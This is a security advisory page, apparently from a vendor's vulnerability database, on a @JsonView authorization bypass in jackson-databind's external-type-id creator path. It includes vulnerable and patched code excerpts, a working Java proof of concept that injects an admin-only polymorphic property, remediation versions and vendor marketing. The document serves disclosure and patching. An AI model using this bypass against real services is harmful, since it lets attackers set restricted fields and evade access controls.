Summary
jackson-databind: @JsonView bypass for creator properties with @JsonTypeInfo(include=As.EXTERNAL_PROPERTY)
In BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId, the active-view (@JsonView) filter was applied only to the regular bean-property branch; the creator-property branch performed no creatorProp.visibleInView(activeView) check. A constructor parameter annotated with both @JsonView(RestrictedView.class) and @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY) is populated from attacker JSON even when a more restrictive view is active.
This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but
the fix was never backported to 2.21 or 2.18. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same @JsonView bypass technique via a different code path.
Vulnerable Code Path
File: com/fasterxml/jackson/databind/deser/BeanDeserializer.java
Method: deserializeUsingPropertyBasedWithExternalTypeId
On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks creatorProp.isInjectionOnly() and hands off to ext.handlePropertyValue(...) / buffer.assignParameter(...) without ever consulting visibleInView(activeView):
if (creatorProp != null) {
// [databind#1381]: if useInput=FALSE, skip deserialization from input
if (creatorProp.isInjectionOnly()) { ... }
// NO visibleInView(activeView) CHECK HERE
if (!ext.handlePropertyValue(p, ctxt, propName, null)) {
if (buffer.assignParameter(creatorProp, ...)) { ... }
}
continue;
}
On 3.1.4, the same branch contains the additional guard (commit 7dc7a17):
if (creatorProp != null) {
// [databind#5971]: must honor active view here too
if ((activeView != null) && !creatorProp.visibleInView(activeView)) {
p.skipChildren();
continue;
}
...
}
The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005
with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch.
Proof of Concept
Compiles and runs against jackson-databind 2.21.4:
import com.fasterxml.jackson.annotation.*;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JsonViewExternalTypeIdBypass {
public static class PublicView {}
public static class AdminView extends PublicView {}
public static abstract class Asset { public String name; }
public static class PublicAsset extends Asset {}
public static class AdminAsset extends Asset { public String secret; }
public static class Container {
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME,
include = JsonTypeInfo.As.EXTERNAL_PROPERTY,
property = "kind")
@JsonSubTypes({
@JsonSubTypes.Type(value = PublicAsset.class, name = "pub"),
@JsonSubTypes.Type(value = AdminAsset.class, name = "admin")
})
@JsonView(AdminView.class)
public Asset asset;
public String label;
@JsonCreator
public Container(
@JsonProperty("label") String label,
@JsonProperty("asset") @JsonView(AdminView.class) Asset asset) {
this.label = label;
this.asset = asset;
}
}
public static class Wrapper {
@JsonView(PublicView.class)
public Container data;
}
public static void main(String[] args) throws Exception {
// Admin-only "asset" should be blocked when reading with PublicView
String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\","
+ "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}";
ObjectMapper om = new ObjectMapper();
Wrapper r = om.readerWithView(PublicView.class)
.forType(Wrapper.class)
.readValue(json);
System.out.println(r.data);
// Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}
// Expected (secure): Container{label='hello', asset=null}
if (r.data.asset != null && r.data.asset instanceof AdminAsset) {
System.out.println("[!!] BYPASS CONFIRMED, admin-only asset populated under PublicView");
}
}
}
A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId
code path and not a misconfiguration.
Trigger Conditions
Developer code must combine (no opt-in user configuration required):
- Property-based @JsonCreator on the outer type
- A creator parameter annotated with @JsonView(RestrictedView.class)
- The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...")
Impact
View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot
REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields, an attacker can inject the restricted creator parameter (including choosing
the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.
- CWE-863 (Incorrect Authorization)
- Same impact class as CVE-2026-54517 / CVE-2026-54518
- No RCE, no DoS, this is an access-control / mass-assignment bypass
The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.
GHSA-MHM7-754M-9P8W has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.18.9, 2.21.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
com.fasterxml.jackson.core:jackson-databind to 2.18.9 or later; com.fasterxml.jackson.core:jackson-databind to 2.21.5 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-MHM7-754M-9P8W? GHSA-MHM7-754M-9P8W is a medium-severity incorrect authorization vulnerability in com.fasterxml.jackson.core:jackson-databind (maven), affecting versions >= 2.18.0, <= 2.18.8. It is fixed in 2.18.9, 2.21.5. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
- How severe is GHSA-MHM7-754M-9P8W? GHSA-MHM7-754M-9P8W has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of com.fasterxml.jackson.core:jackson-databind are affected by GHSA-MHM7-754M-9P8W? com.fasterxml.jackson.core:jackson-databind (maven) versions >= 2.18.0, <= 2.18.8 is affected.
- Is there a fix for GHSA-MHM7-754M-9P8W? Yes. GHSA-MHM7-754M-9P8W is fixed in 2.18.9, 2.21.5. Upgrade to this version or later.
- Is GHSA-MHM7-754M-9P8W exploitable, and should I be worried? Whether GHSA-MHM7-754M-9P8W is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-MHM7-754M-9P8W is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-MHM7-754M-9P8W?
- Upgrade
com.fasterxml.jackson.core:jackson-databindto 2.18.9 or later - Upgrade
com.fasterxml.jackson.core:jackson-databindto 2.21.5 or later
- Upgrade